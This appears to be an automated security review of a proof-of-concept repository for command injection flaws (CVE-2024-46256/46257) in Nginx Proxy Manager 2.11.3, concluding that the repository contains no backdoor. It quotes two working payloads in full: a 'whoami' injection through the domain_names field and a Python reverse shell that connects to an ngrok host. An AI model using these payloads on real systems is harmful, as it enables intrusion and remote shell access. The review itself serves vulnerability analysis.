TranDongA3/Simulation_CVE-2024-46256
PoC files
12 filesFile viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.
Analysis
Technical assessment
A detailed technical writeup in Vietnamese describing the analysis and exploitation of CVE-2024-46256 and CVE-2024-46257, OS command injection vulnerabilities in Nginx Proxy Manager v2.11.3. The document includes code review, payload examples, and screenshots of a simulated attack, but does not contain executable exploit or scanner code.
Backdoor review
No backdoor observed in reviewed code
The supplied evidence consists of a README and a detailed PoC write-up (POC.md) describing CVE-2024-46256/CVE-2024-46257, which are authenticated OS command injection vulnerabilities in Nginx Proxy Manager. The text documents the vulnerability, provides example payloads (whoami, Python reverse shell), and shows screenshots of exploitation results. No concealed executable behavior, persistence mechanisms, credential theft, or unrelated payloads are present. The artifact is a documentation-only repository with no executable code or instructions that would harm the person reviewing the PoC.
Classification basis and observed behavior
Classification basis
The artifact is a detailed technical analysis and simulation narrative. It contains payload examples and describes exploitation steps, but the primary content is explanatory text and screenshots. It does not provide a standalone, executable script to exploit or scan for the vulnerability; it is a writeup.
POC.md:1README.md:1-5Requirements
- Attacker must have authenticated access to the Nginx Proxy Manager instance.
POC.md:5 - Target must be running Nginx Proxy Manager version 2.11.3.
POC.md:12
Observed behavior
- The writeup describes injecting a command via the 'certificate.domain_names' parameter to execute 'whoami', with the output 'root' observed in Docker debug logs.
POC.md:64POC.md:73-75POC.md:85-87 - The writeup describes a reverse shell payload using Python, connecting to an ngrok address, and claims successful root access.
POC.md:92-94POC.md:96-98
Behaviors behind the backdoor verdict
Observables
- Payload
- test.com" || whoami # "Example command injection payload used to demonstrate RCE against the target application (Nginx Proxy Manager), not against the reviewer.
POC.md:74 - Payload
- test.com" || python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.ap.ngrok.io",13686));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' # "Example reverse shell payload targeting the vulnerable Nginx Proxy Manager instance, not the reviewer's system.
POC.md:93
What the analysis did not establish
- The evidence packet contains only the text of POC.md and README.md. Ten non-text media files (screenshots) are present but not analyzed, so the visual evidence of exploitation cannot be verified.
- The artifact does not include any executable code; the payloads are presented as inline text examples within the writeup.
- 10 non-text media files (screenshots in static/) were not inspected; they are flagged as metadata-only and could theoretically contain steganographic or malicious content, though the text gives no indication of this.
- The review is limited to the supplied evidence packets; no external verification of the repository or its history was performed.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.